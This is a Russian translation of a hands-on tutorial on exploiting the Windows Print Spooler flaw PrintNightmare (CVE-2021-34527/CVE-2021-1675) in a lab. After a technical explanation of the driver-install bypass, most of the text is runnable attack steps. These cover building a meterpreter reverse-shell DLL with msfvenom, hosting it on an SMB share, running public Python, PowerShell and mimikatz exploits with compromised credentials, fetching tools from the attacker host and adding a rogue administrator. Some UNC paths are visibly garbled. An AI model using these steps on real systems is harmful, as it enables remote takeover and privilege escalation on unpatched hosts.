В данной статье пойдет речь о повышении привилегий Windows с использованием PrintNightmare. Читатели увидят, как это возможно сделать, на практическом примере.
Введение
Служба Print Spooler находится в поле зрения специалистов ИБ с тех пор, как «червь» Stuxnet использовал ее уязвимость для повышения привилегий Windows и распространился по сети центрифуг по обогащению урана, заразив более 45000 сетей. PrintNightmare — это общее название уязвимости выполнения кода удаленно в службе Print Spooler («spoolsv.exe») в операционных системах Microsoft Windows. Уязвимости был присвоен номер CVE-2021-34527. Первоначально, уязвимость рассматривалась как локальное повышение привилегий (LPE), ей был присвоен номер CVE-2021-1675. В срочном порядке были выпущены обновления для Windows в июне 2021 года с исправлением проблемы. Однако через 2 недели Microsoft изменила статус LPE с низкого уровня опасности на высокий, поскольку было выявлено, что обновления уже неэффективны. После этого уязвимости был присвоен номер CVE-2021-34527. Microsoft и авторы эксплойта вступили в спор, поскольку эксплойт RCE был выпущен на GitHub до появления обновлений для защиты Windows, что сделало возможным осуществление атак нулевого дня. Позднее, авторы исправили свою ошибку.
Идентификационный номер уязвимости: CVE-2021-34527.
- Тип: выполнение кода удаленно (англ. «Remote Code Execution»).
- Уровень угрозы: высокий.
- Оценка по стандарту CVSS: 9.3.
- Версии Windows, где была выявлена уязвимость: Windows_10:20h2, Windows_10:21h1, Windows_10:1607, Windows_10:1809, Windows_10:1909, Windows_10:2004, Windows_7sp1, Windows_8.1, Windows_rt_8.1, Windows_Server_2008, Windows_Server_2008, Windows_Server_2012, Windows_Server_2012:r2, Windows_Server_2016, Windows_Server_2016:20h2, Windows_Server_2016:2004, Windows_Server_2019.
Идентификационный номер уязвимости: CVE-2021-1675.
- Тип: локальное повышение привилегий (англ. «Local Privilege Escalation»).
- Уровень угрозы: высокий.
- Оценка по стандарту CVSS: 9.3.
- Версии Windows, где была выявлена уязвимость: Windows_10:20h2, Windows_10:21h1, Windows_10:1607, Windows_10:1809, Windows_10:1909, Windows_10:2004, Windows_7sp1, Windows_8.1, Windows_rt_8.1, Windows_Server_2008, Windows_Server_2008, Windows_Server_2012, Windows_Server_2012:r2, Windows_Server_2016, Windows_Server_2016:20h2, Windows_Server_2016:2004, Windows_Server_2019.
Дополнительные источники информации:
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34527
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675
Основы работы службы Print Spooler
Print Spooler — это основной интерфейс, на котором отображен процесса печати документа. Это встроенная в Windows по умолчанию программа, которая открывается при запуске системы. Принцип работы Print Spooler выглядит примерно следующим образом:

- Application: приложение создает задачу для печати, вызывая Graphics Device Interface (GDI).
- GDI: GDI включает в себя компоненты графических драйверов Kernel—Mode и User-mode.
- winspool.drv – это интерфейс, который взаимодействует с буфером обмена. Он предоставляет стабы RPC, необходимые для доступа к серверу.
- spoolsv.exe является API сервером Spooler. Этот модуль реализует маршрутизацию сообщений поставщику печати с помощью маршрутизатора (spoolss.dll).
- spoolss.dll определяет, какого поставщика печати следует вызывать, на основе имени принтера и передает вызов функции верному поставщику.
Краткое описание уязвимости
Протокол MS-RPRN (Print System Remote Protocol) включает в себя метод RpcAddPrinterDriverEx(), который позволяет производить установку драйверов удаленно пользователям с правами SeLoadDriverPrivilege. Данные права предоставляются только администраторам системы. Итак, эксплойт пытается обойти эту проверку подлинности в RpcAddPrinterDriver. Метод осуществления эксплойта представлен afwu.
Cube0x0 написал у себя в Twitter, что ему удалось достичь тех же результатов, используя метод RpcAsyncAddPrinterDriver() протокола MS-PAR, который аналогичен RpcAddPrinterDriver и загружает драйверы удаленно. Информацию об этом можно найти здесь.
В данной статье будут рассмотрены обе техники.
Принцип работы с уязвимостью
Сперва стоит взглянуть на принцип работы RpcAddPrinterDriver:
- Добавление Printer Driver к Server call (Rpc Add Printer Driver)
- Клиент (хакер) получает связь с принтером для обмена файлами
- Клиент (хакер) создает контейнер MS-RPRN (Print System Remote Protocol) Driver, в котором содержится DRIVER_INFO_2. В основном это переменные, которые содержат путь к библиотекам DLL, тип архитектуры и т.д.
- Клиент (хакер) вызывает: RpcAddPrinterDriver(“<name of print server>”, DriverContainer).
Проверка безопасности. Когда клиент вызовет эту функцию, система проверит, есть ли у клиента «SeLoadDriverPrivilege», который по умолчанию присваивается администраторам системы.
Обход системы безопасности. Afwu упомянул в своем первом посте, что пользователь может указать следующие параметры в службе Spooler:
pDataFile =A.dll
pConfigFile =B.dll
pDriverPath=C.dll
Служба Spooler скопирует A,B,C DLL-файлы в «С:\Windows\System32\spool\drivers\x64\3\new», а затем загрузит их в «C:\Windows\System32\spool\drivers\x64\3».
Далее система Windows проверяет, что библиотеки DLL pDataFile и pDriverPath не являются UNC-путями. Однако конфигурационный файл может включать в себя путь UNC, и поэтому хакер имеет возможность выполнить следующее:
pDataFile =A.dll
pConfigFile =\\attacker_share\evil.dll
pDriverPath=C.dll
Это теоретически может заставить Windows загружать «evil.dll», который был подготовлен хакером.
Таким образом, обход аутентификации происходит следующим образом:
- Вызывается Rpc Add Printer Driver с предлагаемыми параметрами и UNC-путем, ведущим к вредоносной DLL.
- Вредоносная библиотека DLL копируется в «C:\Windows\System32\spool\drivers\x64\3\evil.dll».
- Однако это вызывает конфликтную ситуацию при запросе, поэтому пользователь вызывает функцию резервного копирования драйверов и копирует старые драйверы (включая его вредоносную DLL) в каталог «C:\Windows\System32\spool\drivers\x64\3\old\1\».
- Хакер заменяет путь к DLL на этот: «C:\Windows\System32\spool\drivers\x64\3\old\1\evil.dll».
- Обход системы безопасности был осуществлен – DLL успешно загружается в spoolsv.exe.
Вышеупомянутый процесс является фундаментальным, лежащим в основе работы эксплойтов, которые будут представлены далее.
IP-адреса
Для демонстрации были взяты следующие IP-адреса:
- IP-адрес хакера: 192.168.1.2
- IP жертвы: 192.168.1.190
- Используемые скомпрометированные учетные данные: ignite/123
Способ 1. PrintNightmare RCE с использованием Python
Это способ применения CVE-2021-34527 (выполнение кода удаленно от имени администратора). Официальный PoC от Cube0x0 можно найти здесь.
Во-первых, нужно создать вредоносный DLL-файл, который будет запускаться от имени администратора. Для этого используется msfvenom:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -f dll -o evil.dll

Теперь хакер может проверить, является ли цель уязвимой или нет, используя вспомогательный модуль Metasploit. Здесь он ввел случайный путь для аргумента DLL_PATH, поскольку он не запускает эксплойт, хакеру просто нужно выполнить сканирование. В ходе тестирования он обнаружил, что PrintNightmare ненадежен. Анализ подтвердил, что жертва уязвима.
use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
set RHOSTS 192.168.1.190
set SMBUser ignite
set SMBPass 123
set DLL_PATH /
exploit

Хакер запускает обработчик заранее перед выполнением DLL-файла с эксплойтом.
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.2
set LPORT 4444
exploit

Теперь нужно клонировать репозиторий github. Хакер использует разветвленную версию оригинального эксплойта от Cube0x0.
git clone https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527
cd PrintNightmare-CVE-2021-34527
chmod 777 CVE-2021-34527.py

Хорошо, остался последний шаг — разместить вредоносную DLL-библиотеку на сервере SAMBA. Хакер может настроить сервер SAMBA вручную в Kali, использовать Windows host для его размещения или smbserver от impacket.
Хакер добавит нужное имя общего ресурса (в данном случае используется «share»), а затем укажет путь (в данном случае – «/root»), по которому он сохранил вредоносную DLL.
python3 /usr/share/doc/python3-impacket/examples/smbserver.py share /root

Когда все готово, можно запустить эксплойт RCE:
./exploit.py credentials@IP ‘UNC_PATH of DLL hosted’
Здесь хакер только что запустил общий ресурс на impacket, он будет использовать его в качестве пути UNC.
./CVE-2021-34527.py ignite:123@192.168.1.190 '\2.168.1.2\share\evil.dll'

Жертва успешно запустила DLL-файл и отправила хакеру сеанс на уровне администратора.

Способ 2. PrintNightmare LPE с помощью Powershell
Теперь читатели увидят более старый эксплойт для повышения привилегий локально. Afwu реализовал оригинальный эксплойт в C++, в то время как Caleb Stewart и John Hammond создали рабочий PoC в Powershell. В отличие от традиционного эксплойта, в этой версии хакеру не требуется создавать SMB-сервер для эксплойта. Вместо удаленного внедрения пути UNC авторы создают автономную библиотеку DLL во временном каталоге и выполняют локальное внедрение через пути UNC.
git clone https://github.com/calebstewart/CVE-2021-1675.git
cd CVE-2021-1675 && ls -al

Как только жертва будет скомпрометирована, следует загрузить этот файл ps1 в каталог «\Users\Public», используя IWR и настроив HTTP-сервер python в каталоге CVE-2021-1675.
cd CVE-2021-1675
python3 -m http.server 80
powershell wget http://192.168.1.2/CVE-2021-1675.ps1 -O \Users\Public\cve.ps1
cd C:\Users\Public
dir

Хакер может выполнить этот файл ps1 с помощью PowerShell. Этот сценарий PowerShell поможет добавить нового пользователя в группу администраторов, используя указанные учетные данные. Для этого следует создать интерактивный PowerShell и вызвать модуль следующим образом:
powershell -ep bypass
Import-Module .\cve.ps1
Invoke-Nightmare -NewUser "harsh" -NewPassword "123" -DriverName "PrintMe"

Хакер создал пользовательскую DLL, которая добавляет нового пользователя «harsh» с паролем 123 в группу администраторов. Скрипт задействовал Print Spool.
net localgroup administrator

Проверить статус можно, если войти в систему жертвы с помощью psexec.
python3 psexec.py harsh:123@192.168.1.190

Теперь хакер является администратором системы.
Способ 3. PrintNightmare LPE с использованием Mimikatz
Чтобы выполнить эксплойт с помощью mimikatz, пользователь будет использовать существующий DLL-файл «evil.dll», а также наш SMBserver, работающий в существующей конфигурации. Хакер загрузит mimikatz.exe на его Kali и запустит HTTP-сервер python.
python3 -m http.server 80
powershell wget http://192.168.1.2/mimikatz.exe -O \users\Public\mimikatz.exe
misc::printnightmare /library:\2.168.1.2\share\evil.dll /authuser:ignite /authpassword:123 /try:50

DLL был выполнен, и на multi/handler был получен Reverse Shell.
Следует настроить обработчик для Metasploit перед выполнением этой команды.

Патчи
Корпорация Майкрософт выпустила обновления для устранения этой уязвимости, которые можно найти в информационном бюллетене MSRC, упомянутом во введении. Кроме того, системным администраторам следует рассмотреть возможность отключения функций точечной печати.
Заключение
Из-за характера этой уязвимости и простоты эксплуатации PrintNightmare является серьезной уязвимостью, которая де-факто получила награду «Уязвимость года» в 2021 году. С тех пор появилось много новых эксплойтов, которые нацелены на spoolsv.exe и, несмотря на все усилия Microsoft, обновления не всегда помогают, поэтому специалистам ИБ настоятельно рекомендуется быть в курсе предстоящих угроз, касающихся службы Print Spooler.
Автор переведенной статьи: Harshit Rajpal.
Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.